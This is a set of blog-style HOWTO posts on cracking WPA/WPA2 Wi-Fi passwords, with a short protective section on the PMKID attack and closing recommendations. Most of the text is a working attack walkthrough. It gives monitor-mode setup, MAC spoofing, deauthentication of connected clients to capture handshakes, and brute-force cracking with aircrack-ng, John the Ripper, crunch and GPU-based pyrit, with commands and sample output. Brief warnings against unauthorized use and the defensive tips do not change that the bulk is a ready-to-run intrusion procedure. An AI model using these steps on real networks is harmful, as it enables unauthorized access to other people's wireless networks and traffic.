HOWTO : Protect from being attacked by PMKID attack

On Aug 04, 2018, the developer of hashcat discovers a new way to attack WPA/WPA2 Wifi, namely PMKID attacks, when he is going to find a new way to attack new WPA3. This attack requires no Wifi user attached to the Wifi router and no need 4-way handshake. Meanwhile, almost all modern Wifi routers are vulnerable to this attack.

I conducted a quick test on my living area recently and found all Wifi routers (including mine) are vulnerable to this attack. If working with hashcat and/or good dictionaries properly, the WPA PSK (pre-Shared Key) password can be obtained without any problem.

Comes to the conclusion, WPA2 is no longer safe!

However, we can protect our Wifi by following methods :

(1) Make the WPA PSK password as complex and as long as possible (mine is 26 characters long);
(2) Make sure the WPA PSK password cannot be found in the available dictionaries (such as rockyou);
(3) Make sure your Wifi router can prevent ARP spoofing (Address Resolution Protocol) or apply MAC address filtering when possible;
(4) If possible, change your WPA PSK password at least once a month; and
(5) Keep your Wifi signal as weak as possible. Yes, makes it as weak as possible.

Reference

[1] New attack on WPA/WPA2 using PMKID
[2] Youtube PMKID attack Demo

That's all! See you.

HOWTO : Cracking WPA2 Passpharse Made Easy

Many people out there still think that cracking WPA2 passpharse requires dictionaries. However, it is not true.

You can brute force the WPA2 passpharse with the help of GPUs. Here is my discoveries on April 16, 2010 and May 22, 2011.



If the wifi router is equipped with WPS (Wifi Protected Setup) and it is enabled, to crack it is very easy with the tool namely reaver.



In additional, it is risky to use public wifi or public free wifi too. No matter they have passpharse or not. (Please refer to "See Also" for details) You are also be informed that there are some high power and long range wifi adaptors in the market.

Alfa Network produces some high power and long range wifi adaptors, such as Alfa AWUS036H and Alfa AWUS036NHR. They can connect to the vicitm's wifi router in the distance of 1KM+ away.

That's all! See you.

See Also :

HOWTO : Sniffing SSL with ettercap on Back|Track 5

HOWTO : Protect you from being ARP spoofing

HOWTO : Cracking WPA/WPA2 without dictionary

This video is not created by me. It is created by Kardipapa. The original video is here.

I upload here for my reference only.

That's all! See you.

UPDATED on May 22, 2012 :

The following links are my Proof of Concept (PoC) that written on April 16, 2010 and May 22, 2011 respectively. Kardipapa confirmed my Proof of Concept is workable.

Using John the Ripper (which is written by me on April 16, 2010 for my Proof of Concept) :

HOWTO : Crack WPA/WPA2-PSK with John the Ripper

Using Crunch and Pyrit (which is written by me on May 22, 2011 for my Proof of Concept) :

HOWTO : WPA/WPA2 cracking with Back|Track 5

HOWTO : FeedingBottle 3.2 on Back|Track 5

FeedingBottle is a Graphic User Interface (GUI) for Aircrack-ng and it is a project of Beini. Beini is based on Tiny Core Linux which is a wireless network security testing system.

FeedingBottle can handle WEP, WPA, WPA2 as well as hidden SSID.

FeedingBottle 3.2 is working well on Back|Track 5. You can download it at here. Extact and install it by the following commands.

wget http://www.ibeini.com/beini_system/others/feedingbottle/feedingbottle3.2-backtrack5-gnome.zip
unzip feedingbottle3.2-backtrack5-gnome.zip
dpkg -i feedingbottle3.2-backtrack5-gnome.deb

After the installation, you can find it at "Applications" -- "BackTrack" -- "Exploitation Tools" -- "Wireless Exploitation Tools" -- "WLAN Exploition" -- "FeedingBottle3.2".

For the usage, please visit the official site at here.

There are simple and advanced modes for you to use.

That's all! See you.

HOWTO : WPA/WPA2 cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

(A) General Display card

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step 2 :

airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Step 4 :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel
           -w is the file to be written
           --bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Step 8 (Optional) :

If you do not want to use John the Ripper as word list, you can use Crunch.

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

(B) nVidia Display Card with CUDA

If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.

Step a :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step b :

airmon-ng start wlan0

Step c (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Step d :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step e :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0

Step f :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step g :

If the following programs are not yet installed, please do it.

apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Step h :

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

Step i :

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install

Step j :

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step k (Optional) :

If you encounter error when reading the wpacrack-01.cap, you should do the following step.

pyrit -r wpacrack-01.cap -o new.cap stripLive

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step l :

Then, you will see something similar to the following.

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)

Tried 17960898 PMKs so far; 17504 PMKs per second.

Remarks :

If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.

To test if your wireless card (either USB or PCI-e) can do the injection or not :

airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0

Make sure pyrit workable on your system :

pyrit list_cores

That's all! See you.

HOWTO : Crack WPA/WPA2-PSK with dictionary

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :
apt-get install wpa-wordlist

Step 2 :
airmon-ng start wlan0

Step 3 :
airodump-ng mon0

Step 4 :
airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

Step 5:
aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

Step 6 :
aircrack-ng output-01.cap -w /pentest/password/wordlist/wpa.txt

Good luck!

WARNING : Do NOT crack any wifi router without authorization or you may be put into jail.

That's all. See you!

HOWTO : Crack WPA/WPA2-PSK with John the Ripper

At the moment, we need to use dictionaries to brute force the WPA/WPA-PSK. To crack WPA/WPA2-PSK requires the to be cracked key is in your dictionaries.

I have a better solution to crack WPA/WPA2-PSK (in theory, it must success) but it requires hours to years to crack depending on the strength of the key and the speed of the hardwares. The following tutorial is based on Back|Track 4.

Suppose the wifi channel is 5, the BSSID MAC is 00:24:B2:A0:51:14 and the client MAC is 00:14:17:94:90:0D. Make sure the client is connecting to the wifi router when you are performing Step 1 to 4.

Step 1 :
airmon-ng start wlan0

Step 2 :
airodump-ng mon0

Step 3 :
airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

Step 4 :
aireplay-ng --deauth 10 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0

To get the handshake when done and then go to next step. If not, do it again until you get the handshake.

Step 5 :
/pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:24:B2:A0:51:14 -w - output*.cap

You are required to wait for hours or years for the cracking which is depends on how powerful your hardwares are and strength of the key. CUDA will make the work more easier but it may also need years or so just depends.

WARNING : Do NOT crack any wifi router without authorization or you will be put into jail.

That's all. See you!

Wifi is not 100% safe

There are several protections for wifi, they are WEP, WPA and WP2. WEP can be cracked easily. WPA and WP2 are also not safe recently no matter you are using AES or TKIP encryptions for your PSK. However, at least one client is connecting to the wifi router and your WPA/WPA2 key is in the dictionary (password list) of the cracker so as the cracker can crack WPA/WPA2-PSK.

Recommendation

(1) at least use WPA2-Personal with AES encryption for the key (most likely for home users) or use Captive Portal if any;
(2) keep your WPA/WPA2 key as long (the longest is 63 characters) and complicated as possible, it should includes capital and small letters, symbols and numbers (however, some devices may not recognize such length of the key);
(3) enable MAC address filter (if possible; but not quiet useful for higher security);
(4) do not use factory's WPS feature (or similar, e.g. QSS) as it is quiet danger for users but convenience for crackers;
(5) change your WPA/WPA2 key often; and
(6) use WPA2-Enterprise if possible (it is the highest security so far).

Be keep in mind that this settings may not be worked tomorrow. The world is changing very fast.

By the way, hidden BSSID and MAC address filter are useless as crackers can obtain such information very easy.

That's all! See you.